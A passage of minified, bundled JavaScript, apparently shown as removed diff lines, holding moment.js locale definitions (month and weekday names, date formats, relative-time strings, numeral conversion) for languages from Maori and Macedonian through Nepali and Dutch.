[u] LT"; - case 1: - case 2: - case 4: - case 5: - return "[u] dddd [u] LT" - } - }, - lastDay: "[juče u] LT", - lastWeek: function () { - var e = ["[prošle] [nedjelje] [u] LT", "[prošlog] [ponedjeljka] [u] LT", "[prošlog] [utorka] [u] LT", "[prošle] [srijede] [u] LT", "[prošlog] [četvrtka] [u] LT", "[prošlog] [petka] [u] LT", "[prošle] [subote] [u] LT"]; - return e[this.day()] - }, - sameElse: "L" - }, - relativeTime: { - future: "za %s", - past: "prije %s", - s: "nekoliko sekundi", - ss: t.translate, - m: t.translate, - mm: t.translate, - h: t.translate, - hh: t.translate, - d: "dan", - dd: t.translate, - M: "mjesec", - MM: t.translate, - y: "godinu", - yy: t.translate - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("mi", { - months: "Kohi-tāte_Hui-tanguru_Poutū-te-rangi_Paenga-whāwhā_Haratua_Pipiri_Hōngoingoi_Here-turi-kōkā_Mahuru_Whiringa-ā-nuku_Whiringa-ā-rangi_Hakihea".split("_"), - monthsShort: "Kohi_Hui_Pou_Pae_Hara_Pipi_Hōngoi_Here_Mahu_Whi-nu_Whi-ra_Haki".split("_"), - monthsRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, - monthsStrictRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, - monthsShortRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,3}/i, - monthsShortStrictRegex: /(?:['a-z\u0101\u014D\u016B]+\-?){1,2}/i, - weekdays: "Rātapu_Mane_Tūrei_Wenerei_Tāite_Paraire_Hātarei".split("_"), - weekdaysShort: "Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"), - weekdaysMin: "Ta_Ma_Tū_We_Tāi_Pa_Hā".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY [i] HH:mm", - LLLL: "dddd, D MMMM YYYY [i] HH:mm" - }, - calendar: { - sameDay: "[i teie mahana, i] LT", - nextDay: "[apopo i] LT", - nextWeek: "dddd [i] LT", - lastDay: "[inanahi i] LT", - lastWeek: "dddd [whakamutunga i] LT", - sameElse: "L" - }, - relativeTime: { - future: "i roto i %s", - past: "%s i mua", - s: "te hēkona ruarua", - ss: "%d hēkona", - m: "he meneti", - mm: "%d meneti", - h: "te haora", - hh: "%d haora", - d: "he ra", - dd: "%d ra", - M: "he marama", - MM: "%d marama", - y: "he tau", - yy: "%d tau" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("mk", { - months: "јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември".split("_"), - monthsShort: "јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек".split("_"), - weekdays: "недела_понеделник_вторник_среда_четврток_петок_сабота".split("_"), - weekdaysShort: "нед_пон_вто_сре_чет_пет_саб".split("_"), - weekdaysMin: "нe_пo_вт_ср_че_пе_сa".split("_"), - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "D.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY H:mm", - LLLL: "dddd, D MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[Денес во] LT", - nextDay: "[Утре во] LT", - nextWeek: "[Во] dddd [во] LT", - lastDay: "[Вчера во] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - case 3: - case 6: - return "[Изминатата] dddd [во] LT"; - case 1: - case 2: - case 4: - case 5: - return "[Изминатиот] dddd [во] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "после %s", - past: "пред %s", - s: "неколку секунди", - ss: "%d секунди", - m: "минута", - mm: "%d минути", - h: "час", - hh: "%d часа", - d: "ден", - dd: "%d дена", - M: "месец", - MM: "%d месеци", - y: "година", - yy: "%d години" - }, - dayOfMonthOrdinalParse: /\d{1,2}-(ев|ен|ти|ви|ри|ми)/, - ordinal: function (e) { - var t = e % 10, - i = e % 100; - if (e === 0) { - return e + "-ев" - } else if (i === 0) { - return e + "-ен" - } else if (i > 10 && i < 20) { - return e + "-ти" - } else if (t === 1) { - return e + "-ви" - } else if (t === 2) { - return e + "-ри" - } else if (t === 7 || t === 8) { - return e + "-ми" - } else { - return e + "-ти" - } - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ml", { - months: "ജനുവരി_ഫെബ്രുവരി_മാർച്ച്_ഏപ്രിൽ_മേയ്_ജൂൺ_ജൂലൈ_ഓഗസ്റ്റ്_സെപ്റ്റംബർ_ഒക്ടോബർ_നവംബർ_ഡിസംബർ".split("_"), - monthsShort: "ജനു._ഫെബ്രു._മാർ._ഏപ്രി._മേയ്_ജൂൺ_ജൂലൈ._ഓഗ._സെപ്റ്റ._ഒക്ടോ._നവം._ഡിസം.".split("_"), - monthsParseExact: true, - weekdays: "ഞായറാഴ്ച_തിങ്കളാഴ്ച_ചൊവ്വാഴ്ച_ബുധനാഴ്ച_വ്യാഴാഴ്ച_വെള്ളിയാഴ്ച_ശനിയാഴ്ച".split("_"), - weekdaysShort: "ഞായർ_തിങ്കൾ_ചൊവ്വ_ബുധൻ_വ്യാഴം_വെള്ളി_ശനി".split("_"), - weekdaysMin: "ഞാ_തി_ചൊ_ബു_വ്യാ_വെ_ശ".split("_"), - longDateFormat: { - LT: "A h:mm -നു", - LTS: "A h:mm:ss -നു", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm -നു", - LLLL: "dddd, D MMMM YYYY, A h:mm -നു" - }, - calendar: { - sameDay: "[ഇന്ന്] LT", - nextDay: "[നാളെ] LT", - nextWeek: "dddd, LT", - lastDay: "[ഇന്നലെ] LT", - lastWeek: "[കഴിഞ്ഞ] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s കഴിഞ്ഞ്", - past: "%s മുൻപ്", - s: "അൽപ നിമിഷങ്ങൾ", - ss: "%d സെക്കൻഡ്", - m: "ഒരു മിനിറ്റ്", - mm: "%d മിനിറ്റ്", - h: "ഒരു മണിക്കൂർ", - hh: "%d മണിക്കൂർ", - d: "ഒരു ദിവസം", - dd: "%d ദിവസം", - M: "ഒരു മാസം", - MM: "%d മാസം", - y: "ഒരു വർഷം", - yy: "%d വർഷം" - }, - meridiemParse: /രാത്രി|രാവിലെ|ഉച്ച കഴിഞ്ഞ്|വൈകുന്നേരം|രാത്രി/i, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "രാത്രി" && e >= 4 || t === "ഉച്ച കഴിഞ്ഞ്" || t === "വൈകുന്നേരം") { - return e + 12 - } else { - return e - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "രാത്രി" - } else if (e < 12) { - return "രാവിലെ" - } else if (e < 17) { - return "ഉച്ച കഴിഞ്ഞ്" - } else if (e < 20) { - return "വൈകുന്നേരം" - } else { - return "രാത്രി" - } - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i, n) { - switch (i) { - case "s": - return t ? "хэдхэн секунд" : "хэдхэн секундын"; - case "ss": - return e + (t ? " секунд" : " секундын"); - case "m": - case "mm": - return e + (t ? " минут" : " минутын"); - case "h": - case "hh": - return e + (t ? " цаг" : " цагийн"); - case "d": - case "dd": - return e + (t ? " өдөр" : " өдрийн"); - case "M": - case "MM": - return e + (t ? " сар" : " сарын"); - case "y": - case "yy": - return e + (t ? " жил" : " жилийн"); - default: - return e - } - } - var i = e.defineLocale("mn", { - months: "Нэгдүгээр сар_Хоёрдугаар сар_Гуравдугаар сар_Дөрөвдүгээр сар_Тавдугаар сар_Зургадугаар сар_Долдугаар сар_Наймдугаар сар_Есдүгээр сар_Аравдугаар сар_Арван нэгдүгээр сар_Арван хоёрдугаар сар".split("_"), - monthsShort: "1 сар_2 сар_3 сар_4 сар_5 сар_6 сар_7 сар_8 сар_9 сар_10 сар_11 сар_12 сар".split("_"), - monthsParseExact: true, - weekdays: "Ням_Даваа_Мягмар_Лхагва_Пүрэв_Баасан_Бямба".split("_"), - weekdaysShort: "Ням_Дав_Мяг_Лха_Пүр_Баа_Бям".split("_"), - weekdaysMin: "Ня_Да_Мя_Лх_Пү_Ба_Бя".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "YYYY-MM-DD", - LL: "YYYY оны MMMMын D", - LLL: "YYYY оны MMMMын D HH:mm", - LLLL: "dddd, YYYY оны MMMMын D HH:mm" - }, - meridiemParse: /ҮӨ|ҮХ/i, - isPM: function (e) { - return e === "ҮХ" - }, - meridiem: function (e, t, i) { - if (e < 12) { - return "ҮӨ" - } else { - return "ҮХ" - } - }, - calendar: { - sameDay: "[Өнөөдөр] LT", - nextDay: "[Маргааш] LT", - nextWeek: "[Ирэх] dddd LT", - lastDay: "[Өчигдөр] LT", - lastWeek: "[Өнгөрсөн] dddd LT", - sameElse: "L" - }, - relativeTime: { - future: "%s дараа", - past: "%s өмнө", - s: t, - ss: t, - m: t, - mm: t, - h: t, - hh: t, - d: t, - dd: t, - M: t, - MM: t, - y: t, - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2} өдөр/, - ordinal: function (e, t) { - switch (t) { - case "d": - case "D": - case "DDD": - return e + " өдөр"; - default: - return e - } - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "१", - 2: "२", - 3: "३", - 4: "४", - 5: "५", - 6: "६", - 7: "७", - 8: "८", - 9: "९", - 0: "०" - }, - i = { - "१": "1", - "२": "2", - "३": "3", - "४": "4", - "५": "5", - "६": "6", - "७": "7", - "८": "8", - "९": "9", - "०": "0" - }; - - function n(e, t, i, n) { - var r = ""; - if (t) { - switch (i) { - case "s": - r = "काही सेकंद"; - break; - case "ss": - r = "%d सेकंद"; - break; - case "m": - r = "एक मिनिट"; - break; - case "mm": - r = "%d मिनिटे"; - break; - case "h": - r = "एक तास"; - break; - case "hh": - r = "%d तास"; - break; - case "d": - r = "एक दिवस"; - break; - case "dd": - r = "%d दिवस"; - break; - case "M": - r = "एक महिना"; - break; - case "MM": - r = "%d महिने"; - break; - case "y": - r = "एक वर्ष"; - break; - case "yy": - r = "%d वर्षे"; - break - } - } else { - switch (i) { - case "s": - r = "काही सेकंदां"; - break; - case "ss": - r = "%d सेकंदां"; - break; - case "m": - r = "एका मिनिटा"; - break; - case "mm": - r = "%d मिनिटां"; - break; - case "h": - r = "एका तासा"; - break; - case "hh": - r = "%d तासां"; - break; - case "d": - r = "एका दिवसा"; - break; - case "dd": - r = "%d दिवसां"; - break; - case "M": - r = "एका महिन्या"; - break; - case "MM": - r = "%d महिन्यां"; - break; - case "y": - r = "एका वर्षा"; - break; - case "yy": - r = "%d वर्षां"; - break - } - } - return r.replace(/%d/i, e) - } - var r = e.defineLocale("mr", { - months: "जानेवारी_फेब्रुवारी_मार्च_एप्रिल_मे_जून_जुलै_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"), - monthsShort: "जाने._फेब्रु._मार्च._एप्रि._मे._जून._जुलै._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"), - monthsParseExact: true, - weekdays: "रविवार_सोमवार_मंगळवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"), - weekdaysShort: "रवि_सोम_मंगळ_बुध_गुरू_शुक्र_शनि".split("_"), - weekdaysMin: "र_सो_मं_बु_गु_शु_श".split("_"), - longDateFormat: { - LT: "A h:mm वाजता", - LTS: "A h:mm:ss वाजता", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm वाजता", - LLLL: "dddd, D MMMM YYYY, A h:mm वाजता" - }, - calendar: { - sameDay: "[आज] LT", - nextDay: "[उद्या] LT", - nextWeek: "dddd, LT", - lastDay: "[काल] LT", - lastWeek: "[मागील] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%sमध्ये", - past: "%sपूर्वी", - s: n, - ss: n, - m: n, - mm: n, - h: n, - hh: n, - d: n, - dd: n, - M: n, - MM: n, - y: n, - yy: n - }, - preparse: function (e) { - return e.replace(/[१२३४५६७८९०]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /रात्री|सकाळी|दुपारी|सायंकाळी/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "रात्री") { - return e < 4 ? e : e + 12 - } else if (t === "सकाळी") { - return e - } else if (t === "दुपारी") { - return e >= 10 ? e : e + 12 - } else if (t === "सायंकाळी") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "रात्री" - } else if (e < 10) { - return "सकाळी" - } else if (e < 17) { - return "दुपारी" - } else if (e < 20) { - return "सायंकाळी" - } else { - return "रात्री" - } - }, - week: { - dow: 0, - doy: 6 - } - }); - return r - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ms", { - months: "Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"), - monthsShort: "Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"), - weekdays: "Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"), - weekdaysShort: "Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"), - weekdaysMin: "Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"), - longDateFormat: { - LT: "HH.mm", - LTS: "HH.mm.ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY [pukul] HH.mm", - LLLL: "dddd, D MMMM YYYY [pukul] HH.mm" - }, - meridiemParse: /pagi|tengahari|petang|malam/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "pagi") { - return e - } else if (t === "tengahari") { - return e >= 11 ? e : e + 12 - } else if (t === "petang" || t === "malam") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 11) { - return "pagi" - } else if (e < 15) { - return "tengahari" - } else if (e < 19) { - return "petang" - } else { - return "malam" - } - }, - calendar: { - sameDay: "[Hari ini pukul] LT", - nextDay: "[Esok pukul] LT", - nextWeek: "dddd [pukul] LT", - lastDay: "[Kelmarin pukul] LT", - lastWeek: "dddd [lepas pukul] LT", - sameElse: "L" - }, - relativeTime: { - future: "dalam %s", - past: "%s yang lepas", - s: "beberapa saat", - ss: "%d saat", - m: "seminit", - mm: "%d minit", - h: "sejam", - hh: "%d jam", - d: "sehari", - dd: "%d hari", - M: "sebulan", - MM: "%d bulan", - y: "setahun", - yy: "%d tahun" - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ms-my", { - months: "Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"), - monthsShort: "Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"), - weekdays: "Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"), - weekdaysShort: "Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"), - weekdaysMin: "Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"), - longDateFormat: { - LT: "HH.mm", - LTS: "HH.mm.ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY [pukul] HH.mm", - LLLL: "dddd, D MMMM YYYY [pukul] HH.mm" - }, - meridiemParse: /pagi|tengahari|petang|malam/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "pagi") { - return e - } else if (t === "tengahari") { - return e >= 11 ? e : e + 12 - } else if (t === "petang" || t === "malam") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 11) { - return "pagi" - } else if (e < 15) { - return "tengahari" - } else if (e < 19) { - return "petang" - } else { - return "malam" - } - }, - calendar: { - sameDay: "[Hari ini pukul] LT", - nextDay: "[Esok pukul] LT", - nextWeek: "dddd [pukul] LT", - lastDay: "[Kelmarin pukul] LT", - lastWeek: "dddd [lepas pukul] LT", - sameElse: "L" - }, - relativeTime: { - future: "dalam %s", - past: "%s yang lepas", - s: "beberapa saat", - ss: "%d saat", - m: "seminit", - mm: "%d minit", - h: "sejam", - hh: "%d jam", - d: "sehari", - dd: "%d hari", - M: "sebulan", - MM: "%d bulan", - y: "setahun", - yy: "%d tahun" - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("mt", { - months: "Jannar_Frar_Marzu_April_Mejju_Ġunju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Diċembru".split("_"), - monthsShort: "Jan_Fra_Mar_Apr_Mej_Ġun_Lul_Aww_Set_Ott_Nov_Diċ".split("_"), - weekdays: "Il-Ħadd_It-Tnejn_It-Tlieta_L-Erbgħa_Il-Ħamis_Il-Ġimgħa_Is-Sibt".split("_"), - weekdaysShort: "Ħad_Tne_Tli_Erb_Ħam_Ġim_Sib".split("_"), - weekdaysMin: "Ħa_Tn_Tl_Er_Ħa_Ġi_Si".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Illum fil-]LT", - nextDay: "[Għada fil-]LT", - nextWeek: "dddd [fil-]LT", - lastDay: "[Il-bieraħ fil-]LT", - lastWeek: "dddd [li għadda] [fil-]LT", - sameElse: "L" - }, - relativeTime: { - future: "f’ %s", - past: "%s ilu", - s: "ftit sekondi", - ss: "%d sekondi", - m: "minuta", - mm: "%d minuti", - h: "siegħa", - hh: "%d siegħat", - d: "ġurnata", - dd: "%d ġranet", - M: "xahar", - MM: "%d xhur", - y: "sena", - yy: "%d sni" - }, - dayOfMonthOrdinalParse: /\d{1,2}º/, - ordinal: "%dº", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "၁", - 2: "၂", - 3: "၃", - 4: "၄", - 5: "၅", - 6: "၆", - 7: "၇", - 8: "၈", - 9: "၉", - 0: "၀" - }, - i = { - "၁": "1", - "၂": "2", - "၃": "3", - "၄": "4", - "၅": "5", - "၆": "6", - "၇": "7", - "၈": "8", - "၉": "9", - "၀": "0" - }; - var n = e.defineLocale("my", { - months: "ဇန်နဝါရီ_ဖေဖော်ဝါရီ_မတ်_ဧပြီ_မေ_ဇွန်_ဇူလိုင်_သြဂုတ်_စက်တင်ဘာ_အောက်တိုဘာ_နိုဝင်ဘာ_ဒီဇင်ဘာ".split("_"), - monthsShort: "ဇန်_ဖေ_မတ်_ပြီ_မေ_ဇွန်_လိုင်_သြ_စက်_အောက်_နို_ဒီ".split("_"), - weekdays: "တနင်္ဂနွေ_တနင်္လာ_အင်္ဂါ_ဗုဒ္ဓဟူး_ကြာသပတေး_သောကြာ_စနေ".split("_"), - weekdaysShort: "နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"), - weekdaysMin: "နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[ယနေ.] LT [မှာ]", - nextDay: "[မနက်ဖြန်] LT [မှာ]", - nextWeek: "dddd LT [မှာ]", - lastDay: "[မနေ.က] LT [မှာ]", - lastWeek: "[ပြီးခဲ့သော] dddd LT [မှာ]", - sameElse: "L" - }, - relativeTime: { - future: "လာမည့် %s မှာ", - past: "လွန်ခဲ့သော %s က", - s: "စက္ကန်.အနည်းငယ်", - ss: "%d စက္ကန့်", - m: "တစ်မိနစ်", - mm: "%d မိနစ်", - h: "တစ်နာရီ", - hh: "%d နာရီ", - d: "တစ်ရက်", - dd: "%d ရက်", - M: "တစ်လ", - MM: "%d လ", - y: "တစ်နှစ်", - yy: "%d နှစ်" - }, - preparse: function (e) { - return e.replace(/[၁၂၃၄၅၆၇၈၉၀]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - week: { - dow: 1, - doy: 4 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("nb", { - months: "januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"), - monthsShort: "jan._feb._mars_april_mai_juni_juli_aug._sep._okt._nov._des.".split("_"), - monthsParseExact: true, - weekdays: "søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"), - weekdaysShort: "sø._ma._ti._on._to._fr._lø.".split("_"), - weekdaysMin: "sø_ma_ti_on_to_fr_lø".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY [kl.] HH:mm", - LLLL: "dddd D. MMMM YYYY [kl.] HH:mm" - }, - calendar: { - sameDay: "[i dag kl.] LT", - nextDay: "[i morgen kl.] LT", - nextWeek: "dddd [kl.] LT", - lastDay: "[i går kl.] LT", - lastWeek: "[forrige] dddd [kl.] LT", - sameElse: "L" - }, - relativeTime: { - future: "om %s", - past: "%s siden", - s: "noen sekunder", - ss: "%d sekunder", - m: "ett minutt", - mm: "%d minutter", - h: "en time", - hh: "%d timer", - d: "en dag", - dd: "%d dager", - M: "en måned", - MM: "%d måneder", - y: "ett år", - yy: "%d år" - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "१", - 2: "२", - 3: "३", - 4: "४", - 5: "५", - 6: "६", - 7: "७", - 8: "८", - 9: "९", - 0: "०" - }, - i = { - "१": "1", - "२": "2", - "३": "3", - "४": "4", - "५": "5", - "६": "6", - "७": "7", - "८": "8", - "९": "9", - "०": "0" - }; - var n = e.defineLocale("ne", { - months: "जनवरी_फेब्रुवरी_मार्च_अप्रिल_मई_जुन_जुलाई_अगष्ट_सेप्टेम्बर_अक्टोबर_नोभेम्बर_डिसेम्बर".split("_"), - monthsShort: "जन._फेब्रु._मार्च_अप्रि._मई_जुन_जुलाई._अग._सेप्ट._अक्टो._नोभे._डिसे.".split("_"), - monthsParseExact: true, - weekdays: "आइतबार_सोमबार_मङ्गलबार_बुधबार_बिहिबार_शुक्रबार_शनिबार".split("_"), - weekdaysShort: "आइत._सोम._मङ्गल._बुध._बिहि._शुक्र._शनि.".split("_"), - weekdaysMin: "आ._सो._मं._बु._बि._शु._श.".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "Aको h:mm बजे", - LTS: "Aको h:mm:ss बजे", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, Aको h:mm बजे", - LLLL: "dddd, D MMMM YYYY, Aको h:mm बजे" - }, - preparse: function (e) { - return e.replace(/[१२३४५६७८९०]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /राति|बिहान|दिउँसो|साँझ/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "राति") { - return e < 4 ? e : e + 12 - } else if (t === "बिहान") { - return e - } else if (t === "दिउँसो") { - return e >= 10 ? e : e + 12 - } else if (t === "साँझ") { - return e + 12 - } - }, - meridiem: function (e, t, i) { - if (e < 3) { - return "राति" - } else if (e < 12) { - return "बिहान" - } else if (e < 16) { - return "दिउँसो" - } else if (e < 20) { - return "साँझ" - } else { - return "राति" - } - }, - calendar: { - sameDay: "[आज] LT", - nextDay: "[भोलि] LT", - nextWeek: "[आउँदो] dddd[,] LT", - lastDay: "[हिजो] LT", - lastWeek: "[गएको] dddd[,] LT", - sameElse: "L" - }, - relativeTime: { - future: "%sमा", - past: "%s अगाडि", - s: "केही क्षण", - ss: "%d सेकेण्ड", - m: "एक मिनेट", - mm: "%d मिनेट", - h: "एक घण्टा", - hh: "%d घण्टा", - d: "एक दिन", - dd: "%d दिन", - M: "एक महिना", - MM: "%d महिना", - y: "एक बर्ष", - yy: "%d बर्ष" - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"), - i = "jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"); - var n = [/^jan/i, /^feb/i, /^maart|mrt.?$/i, /^apr/i, /^mei$/i, /^jun[i.]?$/i, /^jul[i.]?$/i, /^aug/i, /^sep/i, /^okt/i, /^nov/i, /^dec/i]; - var r = /^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i; - var a = e.defineLocale("nl", { - months: "januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"), - monthsShort: function (e, n) { - if (!e) { - return t - } else if (/-MMM-/.test(n)) { - return i[e.month()] - } else { - return t[e.month()] - } - }, - monthsRegex: r, - monthsShortRegex: r, - monthsStrictRegex: /^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i, - monthsShortStrictRegex: /^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i, - monthsParse: n, - longMonthsParse: n, - shortMonthsParse: n, - weekdays: "zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"), - weekdaysShort: "zo._ma._di._wo._do._vr._za.".split("_"), - weekdaysMin: "zo_ma_di_wo_do_vr_za".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD-MM-YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[vandaag om] LT", - nextDay: "[morgen om] LT", - nextWeek: "dddd [om] LT", - lastDay: "[gisteren om] LT", - lastWeek: "[afgelopen] dddd [om] LT", - sameElse: "L" - }, - relativeTime: { - future: "over %s", - past: "%s geleden", - s: "een paar seconden", - ss: "%d seconden", - m: "één minuut", - mm: "%d minuten", - h: "één uur", - hh: "%d uur", - d: "één dag", - dd: "%d dagen", - M: "één maand", - MM: "%d maanden", - y: "één jaar", - yy: "%d jaar" - }, - dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, - ordinal: function (e) { - return e + (e === 1 || e === 8 || e >= 20 ? "ste" : "de") - }, - week: { - dow: 1, - doy: 4 - } - }); - return a - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"), - i = "jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"); - var n = [/^jan/i, /^feb/i, /^maart|mrt.?$/i, /^apr/i, /^mei$/i, /^jun[i.]?$/i, /^jul[i.]?$/i, /^aug/i, /^sep/i, /^okt/i, /^nov/i, /^dec/i]; - var r = 